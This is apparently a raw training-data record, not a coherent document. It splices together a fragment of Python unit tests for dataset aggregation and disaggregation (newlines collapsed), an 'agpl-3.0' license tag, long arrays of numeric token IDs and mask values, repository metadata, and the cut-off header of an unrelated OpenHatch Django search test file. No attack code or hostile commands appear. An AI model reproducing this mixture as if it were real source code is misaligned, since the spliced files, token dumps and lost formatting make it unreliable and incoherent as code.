ds0.modify_attribute("id1", array([1,3,1,2,3,2,1])) # has version 1 variable = 'my_var = myfazdistr.aggregate(10.0*myhousehold.my_variable, intermediates=[myfaz])' ds2.compute_variables([variable], dataset_pool=dataset_pool) self.assert_(ds2.get_version("my_var")==0) ds2.compute_variables([variable], dataset_pool=dataset_pool) self.assert_(ds2.get_version("my_var")==0) # version should stay the same, i.e. it should not recompute ds0.touch_attribute("id1") # has version 2 ds2.compute_variables([variable], dataset_pool=dataset_pool) self.assert_(ds2.get_version("my_var")==1) # version should be 1, i.e. it should recompute when id changes ds1.touch_attribute("id2") # has version 1 ds2.compute_variables([variable], dataset_pool=dataset_pool) self.assert_(ds2.get_version("my_var")==2) # version should be 2, i.e. it should recompute when id changes def test_aggregate_sum_two_levels(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'my_variable':array([4,8,2,1,40,23,78,20, 25]), 'id0':arange(9)+1, 'id1':array([1,3,1,2,3,2,1, 4, 4]) } ) storage.write_table(table_name='fazes', table_data={ 'id1':array([1,2,3,4]), 'id2':array([1,2,1,3])} ) storage.write_table(table_name='fazdistrs', table_data={ 'id2':array([1,2,3]), 'id3':array([1,2,1]) } ) storage.write_table(table_name='neighborhoods', table_data={ "id3":array([1,2]) } ) ds0 = Dataset(in_storage=storage, in_table_name='zones', id_name="id0", dataset_name="myzone") ds1 = Dataset(in_storage=storage, in_table_name='fazes', id_name="id1", dataset_name="myfaz") ds2 = Dataset(in_storage=storage, in_table_name='fazdistrs', id_name="id2", dataset_name="myfazdistr") ds3 = Dataset(in_storage=storage, in_table_name='neighborhoods', id_name="id3", dataset_name="myneighborhood") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds0) dataset_pool._add_dataset('myfaz',ds1) dataset_pool._add_dataset('myfazdistr',ds2) dataset_pool._add_dataset('myneighborhood',ds3) values = ds3.compute_variables(['myneighborhood.aggregate(10.0*myzone.my_variable, intermediates=[myfaz,myfazdistr], function=sum)'], dataset_pool=dataset_pool) should_be = array([1770, 240]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_sum_two_levels") def test_aggregate_mean(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'my_variable':array([4,8,10,1]), 'id':array([1,2,3,4]), 'id2':array([1,2,1,2]) } ) storage.write_table(table_name='faz', table_data={ 'id2':array([1,2]) } ) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='faz', id_name="id2", dataset_name="myfaz") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myfaz', ds2) values = ds2.compute_variables(['myfaz.aggregate(10.0*myzone.my_variable, function=mean)'], dataset_pool=dataset_pool) should_be = array([70, 45]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_mean") def test_aggregate_all(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={'my_variable': array([4,8,0.5,1]), 'id': array([1,2,3,4])}) storage.write_table(table_name='regions', table_data={'id': array([1])}) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='regions', id_name="id", dataset_name="myregion") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myregion', ds2) ds2.compute_variables(["myvar = myregion.aggregate_all(10.0*myzone.my_variable)"], dataset_pool=dataset_pool) values = ds2.get_attribute("myvar") should_be = array([135]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_all") def test_aggregate_all_sum(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'my_variable':array([4,8,0.5,1]), 'id':array([1,2,3,4]), } ) storage.write_table(table_name='regions', table_data={ 'id':array([1]), } ) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='regions', id_name="id", dataset_name="myregion") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myregion', ds2) ds2.compute_variables(["myvar = myregion.aggregate_all(10.0*myzone.my_variable, function=sum)"], dataset_pool=dataset_pool) values = ds2.get_attribute("myvar") should_be = array([135]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_all_sum") def test_aggregate_all_mean(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'my_variable':array([4,8,10,1]), 'id':array([1,2,3,4]), } ) storage.write_table(table_name='regions', table_data={ "id":array([1]), } ) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='regions', id_name="id", dataset_name="myregion") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myregion', ds2) ds2.compute_variables(["myvar = myregion.aggregate_all(10.0*myzone.my_variable, function=mean)"], dataset_pool=dataset_pool) values = ds2.get_attribute("myvar") should_be = array([57.5]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in aggregate_all_mean") def test_disaggregate(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'id':array([1,2,3,4]), 'id2':array([1,2,1,2]) } ) storage.write_table(table_name='faz', table_data={ 'my_variable':array([4,8]), 'id2':array([1,2]) } ) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='faz', id_name="id2", dataset_name="myfaz") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myfaz', ds2) values = ds.compute_variables(["myzone.disaggregate(10.0*myfaz.my_variable)"], dataset_pool=dataset_pool) should_be = array([40, 80, 40, 80]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in disaggregate") def test_versioning_with_disaggregate(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'id':array([1,2,3,4]), 'id2':array([1,2,1,2]) } ) storage.write_table(table_name='faz', table_data={ 'my_variable':array([4,8]), 'id2':array([1,2]) } ) ds = Dataset(in_storage=storage, in_table_name='zones', id_name="id", dataset_name="myzone") ds2 = Dataset(in_storage=storage, in_table_name='faz', id_name="id2", dataset_name="myfaz") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds) dataset_pool._add_dataset('myfaz', ds2) var = "my_var = myzone.disaggregate(10.0*myfaz.my_variable)" ds.modify_attribute("id2", array([2,1,2,1])) # should have version 1 ds.compute_variables([var], dataset_pool=dataset_pool) self.assert_(ds.get_version("my_var")==0) ds.compute_variables([var], dataset_pool=dataset_pool) self.assert_(ds.get_version("my_var")==0) # version should stay the same, i.e. it should not recompute ds.touch_attribute("id2") # has version 2 ds.compute_variables([var], dataset_pool=dataset_pool) self.assert_(ds.get_version("my_var")==1) # version should be 1, i.e. it should recompute when id changes def test_disaggregate_fully_qualified_variable(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'zone_id':array([1,2,3,4]), 'id':array([1,2,1,2]) } ) # it would be nicer to call this table 'fazzes' but we want to use the existing test variable storage.write_table(table_name='test_locations', table_data={ 'cost':array([4,8]), 'id':array([1,2]) } ) zone_dataset = Dataset(in_storage=storage, in_table_name='zones', id_name="zone_id", dataset_name="zone") test_dataset = Dataset(in_storage=storage, in_table_name='test_locations', id_name="id", dataset_name='test_location') dataset_pool = DatasetPool() dataset_pool._add_dataset('zone', zone_dataset) dataset_pool._add_dataset('test_location', test_dataset) values = zone_dataset.compute_variables(['zone.disaggregate(10.0*opus_core.test_location.cost_times_3)'], dataset_pool=dataset_pool) should_be = array([120, 240, 120, 240]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in test_disaggregate_fully_qualified_variable") def test_disaggregate_one_level(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'id0':arange(7)+1, 'id1':array([1,3,1,2,3,2,1]) } ) storage.write_table(table_name='fazes', table_data={ 'id1':array([1,2,3]), 'id2':array([1,2,1]) } ) storage.write_table(table_name='fazdistr', table_data={ 'my_variable':array([40,50]), 'id2':array([1,2]) } ) ds0 = Dataset(in_storage=storage, in_table_name='zones', id_name="id0", dataset_name="myzone") ds1 = Dataset(in_storage=storage, in_table_name='fazes', id_name="id1", dataset_name="myfaz") ds2 = Dataset(in_storage=storage, in_table_name='fazdistr', id_name="id2", dataset_name="myfazdistr") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds0) dataset_pool._add_dataset('myfaz', ds1) dataset_pool._add_dataset('myfazdistr', ds2) values = ds0.compute_variables(["myzone.disaggregate(10.0*myfazdistr.my_variable, intermediates=[myfaz])"], dataset_pool=dataset_pool) should_be = array([400, 400, 400, 500, 400, 500, 400]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in disaggregate_one_level") def test_disaggregate_two_levels(self): storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='gridcells', table_data={ 'id':arange(9)+1, 'id0':array([7,6,1,3,4,4,5,2,5]) } ) storage.write_table(table_name='zones', table_data={ 'id0':arange(7)+1, 'id1':array([1,3,1,2,3,2,1]) } ) storage.write_table(table_name='fazes', table_data={ 'id1':array([1,2,3]), 'id2':array([1,2,1]) } ) storage.write_table(table_name='fazdistrs', table_data={ 'my_variable':array([40,50]), 'id2':array([1,2]) } ) ds = Dataset(in_storage=storage, in_table_name='gridcells', id_name="id0", dataset_name="mygridcell") ds0 = Dataset(in_storage=storage, in_table_name='zones', id_name="id0", dataset_name="myzone") ds1 = Dataset(in_storage=storage, in_table_name='fazes', id_name="id1", dataset_name="myfaz") ds2 = Dataset(in_storage=storage, in_table_name='fazdistrs', id_name="id2", dataset_name="myfazdistr") dataset_pool = DatasetPool() dataset_pool._add_dataset('mygridcell', ds) dataset_pool._add_dataset('myzone', ds0) dataset_pool._add_dataset('myfaz', ds1) dataset_pool._add_dataset('myfazdistr', ds2) values = ds.compute_variables(["mygridcell.disaggregate(10.0*myfazdistr.my_variable, intermediates=[myfaz,myzone])"], dataset_pool=dataset_pool) should_be = array([400, 500, 400, 400, 500, 500, 400, 400, 400]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in disaggregate_two_levels") def test_disaggregate_and_multiply(self): # Perform two different disaggregations and multiply the results. This tests using a dataset name in both the # list of intermediates and as the dataset being disaggregated (myfaz in this case). expr = "myzone.disaggregate(2.0*myfaz.fazsqft) * myzone.disaggregate(3.0*myfazdistr.my_variable, intermediates=[myfaz])" storage = StorageFactory().get_storage('dict_storage') storage.write_table(table_name='zones', table_data={ 'id0':arange(7)+1, 'id1':array([1,3,1,2,3,2,1]) } ) storage.write_table(table_name='fazes', table_data={ 'id1':array([1,2,3]), 'id2':array([1,2,1]), 'fazsqft':array([10,50,100]) } ) storage.write_table(table_name='fazdistrs', table_data={ 'my_variable':array([40,50]), 'id2':array([1,2]) } ) ds0 = Dataset(in_storage=storage, in_table_name='zones', id_name="id0", dataset_name="myzone") ds1 = Dataset(in_storage=storage, in_table_name='fazes', id_name="id1", dataset_name="myfaz") ds2 = Dataset(in_storage=storage, in_table_name='fazdistrs', id_name="id2", dataset_name="myfazdistr") dataset_pool = DatasetPool() dataset_pool._add_dataset('myzone', ds0) dataset_pool._add_dataset('myfaz', ds1) dataset_pool._add_dataset('myfazdistr', ds2) values = ds0.compute_variables([expr], dataset_pool=dataset_pool) should_be = array([2400, 24000, 2400, 15000, 24000, 15000, 2400]) self.assert_(ma.allclose(values, should_be, rtol=1e-6), "Error in disaggregate_and_multiply") if __name__=='__main__': opus_unittest.main()
agpl-3.0
[ 3, 593, 8843, 15, 53, 4848, 290, 7467, 7629, 13206, 17625, 2032, 14, 199, 3, 1898, 334, 35, 9, 7129, 13, 8128, 15904, 402, 8256, 73, 509, 22042, 12, 23207, 415, 15515, 12, 11811, 13, 8664, 15904, 402, 644, 1119, 31673, 199, 3, 1666, 1687, 527, 63, 1018, 15, 3961, 9948, 199, 504, 1687, 527, 63, 1018, 14, 2219, 492, 1687, 527, 63, 2796, 199, 504, 1687, 527, 63, 1018, 14, 12281, 14, 5214, 492, 20284, 199, 504, 1687, 527, 63, 1018, 14, 12281, 14, 5214, 63, 2293, 492, 20284, 5453, 199, 504, 1687, 527, 63, 1018, 14, 3494, 63, 3702, 492, 10533, 2927, 199, 504, 2680, 492, 1625, 12, 610, 12, 20461, 421, 199, 533, 6496, 8, 411, 527, 63, 2796, 14, 4619, 527, 1746, 304, 2286, 327, 2839, 9531, 63, 2297, 7516, 14, 647, 12, 871, 626, 314, 8377, 3769, 26913, 365, 376, 3965, 272, 327, 19413, 83, 2295, 25613, 4007, 1329, 63, 1618, 63, 14250, 339, 347, 511, 63, 7516, 8, 277, 304, 267, 327, 511, 9531, 543, 949, 805, 2013, 334, 1152, 4243, 370, 283, 1838, 358, 267, 4887, 275, 10533, 2927, 1252, 362, 63, 3494, 360, 807, 63, 3494, 358, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 13325, 297, 288, 1817, 63, 576, 3126, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 3825, 9041, 297, 288, 1817, 63, 576, 3126, 355, 283, 1662, 63, 1975, 356, 1144, 779, 20, 12, 24, 12, 16, 14, 21, 12, 17, 2522, 8892, 283, 3825, 63, 344, 356, 1144, 779, 17, 12, 18, 12, 19, 12, 20, 2522, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 12, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 5718, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 13325, 297, 1305, 63, 354, 628, 2619, 63, 344, 401, 4789, 63, 354, 534, 2619, 358, 267, 6068, 3890, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 3825, 9041, 297, 1305, 63, 354, 628, 3825, 63, 344, 401, 4789, 63, 354, 534, 3825, 3890, 358, 267, 4789, 63, 2293, 275, 20284, 5453, 342, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 3825, 3890, 297, 6068, 3890, 63, 5214, 9, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 2619, 297, 5718, 63, 5214, 9, 267, 1338, 275, 5718, 63, 5214, 14, 3357, 63, 3669, 2941, 2619, 14, 7516, 8, 709, 14, 16, 10, 3825, 3890, 14, 1662, 63, 1975, 9, 995, 4789, 63, 2293, 29, 5214, 63, 2293, 9, 267, 1077, 63, 1235, 275, 1625, 779, 2322, 12, 9137, 566, 4960, 291, 14, 479, 2531, 391, 14, 7520, 8, 1459, 12, 1077, 63, 1235, 12, 10561, 29, 17, 69, 13, 22, 395, 298, 547, 315, 9531, 531, 5493, 347, 511, 63, 7516, 63, 5836, 63, 11661, 63, 1975, 8, 277, 304, 267, 4887, 275, 10533, 2927, 1252, 362, 63, 3494, 360, 807, 63, 3494, 358, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 13325, 297, 288, 1817, 63, 576, 3126, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 327, 652, 3955, 506, 30023, 370, 1240, 642, 1817, 283, 3825, 9041, 7, 1325, 781, 2934, 370, 675, 314, 3411, 511, 1750, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 2219, 297, 288, 1817, 63, 576, 3126, 355, 283, 65, 63, 7106, 63, 1975, 356, 1144, 779, 20, 12, 24, 12, 16, 14, 21, 12, 17, 2522, 8892, 283, 344, 356, 1144, 779, 17, 12, 18, 12, 19, 12, 20, 2522, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 12, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 5718, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 13325, 297, 1305, 63, 354, 628, 2619, 63, 344, 401, 4789, 63, 354, 534, 2619, 358, 267, 511, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 2219, 297, 1305, 63, 354, 628, 344, 401, 4789, 63, 354, 534, 2219, 358, 267, 4789, 63, 2293, 275, 20284, 5453, 342, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 2619, 297, 5718, 63, 5214, 9, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 2219, 297, 511, 63, 5214, 9, 267, 1338, 275, 5718, 63, 5214, 14, 3357, 63, 3669, 2941, 2619, 14, 7516, 8, 709, 14, 16, 10, 411, 527, 63, 1018, 14, 2219, 14, 65, 63, 396, 63, 1975, 9, 995, 4789, 63, 2293, 29, 5214, 63, 2293, 9, 267, 1077, 63, 1235, 275, 1625, 779, 24223, 12, 27151, 566, 4960, 291, 14, 479, 2531, 391, 14, 7520, 8, 1459, 12, 1077, 63, 1235, 12, 10561, 29, 17, 69, 13, 22, 395, 298, 547, 315, 511, 63, 7516, 63, 5836, 63, 11661, 63, 1975, 531, 339, 347, 511, 63, 7516, 63, 1838, 8, 277, 304, 267, 4887, 275, 10533, 2927, 1252, 362, 63, 3494, 360, 807, 63, 3494, 358, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 13325, 297, 288, 1817, 63, 576, 3126, 355, 283, 1662, 63, 1975, 356, 1144, 779, 20, 12, 24, 12, 16, 14, 21, 12, 17, 2522, 8892, 283, 344, 356, 1144, 779, 17, 12, 18, 12, 19, 12, 20, 2522, 355, 283, 344, 18, 356, 1144, 779, 17, 12, 18, 12, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 667, 90, 297, 1817, 63, 576, 8871, 344, 18, 582, 1144, 779, 17, 12, 18, 566, 1552, 267, 6364, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 13325, 297, 1305, 63, 354, 628, 344, 401, 4789, 63, 354, 628, 1662, 2619, 531, 267, 6364, 18, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 667, 90, 297, 1305, 63, 354, 628, 344, 18, 401, 4789, 63, 354, 628, 1662 ]
[ 593, 8843, 15, 53, 4848, 290, 7467, 7629, 13206, 17625, 2032, 14, 199, 3, 1898, 334, 35, 9, 7129, 13, 8128, 15904, 402, 8256, 73, 509, 22042, 12, 23207, 415, 15515, 12, 11811, 13, 8664, 15904, 402, 644, 1119, 31673, 199, 3, 1666, 1687, 527, 63, 1018, 15, 3961, 9948, 199, 504, 1687, 527, 63, 1018, 14, 2219, 492, 1687, 527, 63, 2796, 199, 504, 1687, 527, 63, 1018, 14, 12281, 14, 5214, 492, 20284, 199, 504, 1687, 527, 63, 1018, 14, 12281, 14, 5214, 63, 2293, 492, 20284, 5453, 199, 504, 1687, 527, 63, 1018, 14, 3494, 63, 3702, 492, 10533, 2927, 199, 504, 2680, 492, 1625, 12, 610, 12, 20461, 421, 199, 533, 6496, 8, 411, 527, 63, 2796, 14, 4619, 527, 1746, 304, 2286, 327, 2839, 9531, 63, 2297, 7516, 14, 647, 12, 871, 626, 314, 8377, 3769, 26913, 365, 376, 3965, 272, 327, 19413, 83, 2295, 25613, 4007, 1329, 63, 1618, 63, 14250, 339, 347, 511, 63, 7516, 8, 277, 304, 267, 327, 511, 9531, 543, 949, 805, 2013, 334, 1152, 4243, 370, 283, 1838, 358, 267, 4887, 275, 10533, 2927, 1252, 362, 63, 3494, 360, 807, 63, 3494, 358, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 13325, 297, 288, 1817, 63, 576, 3126, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 3825, 9041, 297, 288, 1817, 63, 576, 3126, 355, 283, 1662, 63, 1975, 356, 1144, 779, 20, 12, 24, 12, 16, 14, 21, 12, 17, 2522, 8892, 283, 3825, 63, 344, 356, 1144, 779, 17, 12, 18, 12, 19, 12, 20, 2522, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 12, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 5718, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 13325, 297, 1305, 63, 354, 628, 2619, 63, 344, 401, 4789, 63, 354, 534, 2619, 358, 267, 6068, 3890, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 3825, 9041, 297, 1305, 63, 354, 628, 3825, 63, 344, 401, 4789, 63, 354, 534, 3825, 3890, 358, 267, 4789, 63, 2293, 275, 20284, 5453, 342, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 3825, 3890, 297, 6068, 3890, 63, 5214, 9, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 2619, 297, 5718, 63, 5214, 9, 267, 1338, 275, 5718, 63, 5214, 14, 3357, 63, 3669, 2941, 2619, 14, 7516, 8, 709, 14, 16, 10, 3825, 3890, 14, 1662, 63, 1975, 9, 995, 4789, 63, 2293, 29, 5214, 63, 2293, 9, 267, 1077, 63, 1235, 275, 1625, 779, 2322, 12, 9137, 566, 4960, 291, 14, 479, 2531, 391, 14, 7520, 8, 1459, 12, 1077, 63, 1235, 12, 10561, 29, 17, 69, 13, 22, 395, 298, 547, 315, 9531, 531, 5493, 347, 511, 63, 7516, 63, 5836, 63, 11661, 63, 1975, 8, 277, 304, 267, 4887, 275, 10533, 2927, 1252, 362, 63, 3494, 360, 807, 63, 3494, 358, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 13325, 297, 288, 1817, 63, 576, 3126, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 327, 652, 3955, 506, 30023, 370, 1240, 642, 1817, 283, 3825, 9041, 7, 1325, 781, 2934, 370, 675, 314, 3411, 511, 1750, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 2219, 297, 288, 1817, 63, 576, 3126, 355, 283, 65, 63, 7106, 63, 1975, 356, 1144, 779, 20, 12, 24, 12, 16, 14, 21, 12, 17, 2522, 8892, 283, 344, 356, 1144, 779, 17, 12, 18, 12, 19, 12, 20, 2522, 355, 283, 2619, 63, 344, 356, 1144, 779, 17, 12, 18, 12, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 5718, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 13325, 297, 1305, 63, 354, 628, 2619, 63, 344, 401, 4789, 63, 354, 534, 2619, 358, 267, 511, 63, 5214, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 2219, 297, 1305, 63, 354, 628, 344, 401, 4789, 63, 354, 534, 2219, 358, 267, 4789, 63, 2293, 275, 20284, 5453, 342, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 2619, 297, 5718, 63, 5214, 9, 267, 4789, 63, 2293, 423, 525, 63, 5214, 360, 2219, 297, 511, 63, 5214, 9, 267, 1338, 275, 5718, 63, 5214, 14, 3357, 63, 3669, 2941, 2619, 14, 7516, 8, 709, 14, 16, 10, 411, 527, 63, 1018, 14, 2219, 14, 65, 63, 396, 63, 1975, 9, 995, 4789, 63, 2293, 29, 5214, 63, 2293, 9, 267, 1077, 63, 1235, 275, 1625, 779, 24223, 12, 27151, 566, 4960, 291, 14, 479, 2531, 391, 14, 7520, 8, 1459, 12, 1077, 63, 1235, 12, 10561, 29, 17, 69, 13, 22, 395, 298, 547, 315, 511, 63, 7516, 63, 5836, 63, 11661, 63, 1975, 531, 339, 347, 511, 63, 7516, 63, 1838, 8, 277, 304, 267, 4887, 275, 10533, 2927, 1252, 362, 63, 3494, 360, 807, 63, 3494, 358, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 13325, 297, 288, 1817, 63, 576, 3126, 355, 283, 1662, 63, 1975, 356, 1144, 779, 20, 12, 24, 12, 16, 14, 21, 12, 17, 2522, 8892, 283, 344, 356, 1144, 779, 17, 12, 18, 12, 19, 12, 20, 2522, 355, 283, 344, 18, 356, 1144, 779, 17, 12, 18, 12, 17, 12, 18, 2522, 355, 789, 288, 776, 267, 4887, 14, 952, 63, 1224, 8, 1224, 63, 354, 534, 667, 90, 297, 1817, 63, 576, 8871, 344, 18, 582, 1144, 779, 17, 12, 18, 566, 1552, 267, 6364, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 13325, 297, 1305, 63, 354, 628, 344, 401, 4789, 63, 354, 628, 1662, 2619, 531, 267, 6364, 18, 275, 20284, 8, 262, 63, 3494, 29, 3494, 12, 315, 63, 1224, 63, 354, 534, 667, 90, 297, 1305, 63, 354, 628, 344, 18, 401, 4789, 63, 354, 628, 1662, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mzdaniel/oh-mainline
mysite/search/tests.py
1
62680
# This file is part of OpenHatch. # Copyright (C) 2010 Parker Phinney # Copyright (C) 2010 Jack Grigg # Copyright (C) 2009, 2010 OpenHatch, Inc. # Copyright (C) 2010 Jessica McKellar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from mysite.base.tests import make_twill_url, TwillTests import mysite.base.models import mysite.base.unicode_sanity import mysite.account.tests from mysite.profile.models import Person import mysite.profile.models import mysite.search.controllers from mysite.search.models import Project, Bug, \ ProjectInvolvementQuestion, Answer, BugAlert from mysite.search import views import datetime import mysite.project.views from django.utils.unittest import skipIf import django.db import django.conf from django.utils import simplejson import mock from twill import commands as tc from django.test import TestCase import django.core.cache from django.core.urlresolvers import reverse from django.core.files.base import ContentFile from django.contrib.auth.models import User class SearchTest(TwillTests): def search_via_twill(self, query=None): search_url = "http://openhatch.org/search/" if query: search_url += '?q=%s' % query tc.go(make_twill_url(search_url)) def search_via_client(self, query=None): search_url = "/search/" return self.client.get(search_url, {u'q': query}) def compare_lists(self, one, two): self.assertEqual(len(one), len(two)) self.assertEqual(set(one), set(two)) def compare_lists_of_dicts(self, one, two, sort_key=None): if sort_key is not None: sort_fn = lambda thing: thing[sort_key] else: sort_fn = None sorted_one = sorted(one, key=sort_fn) sorted_two = sorted(two, key=sort_fn) for k in range(len(sorted_one)): try: self.assertEqual(sorted_one[k], sorted_two[k]) except AssertionError: import sys print >> sys.stderr, sorted_one print >> sys.stderr, sorted_two raise for k in range(len(sorted_two)): try: self.assertEqual(sorted_one[k], sorted_two[k]) except AssertionError: import sys print >> sys.stderr, sorted_one print >> sys.stderr, sorted_two raise class AutoCompleteTests(SearchTest): """ Test whether the autocomplete can handle - a field-specific query -l a non-field-specific (fulltext) query """ def setUp(self): SearchTest.setUp(self) self.project_chat = Project.create_dummy(name=u'ComicChat', language=u'C++') self.project_kazaa = Project.create_dummy(name=u'Kazaa', language=u'Vogon') self.bug_in_chat = 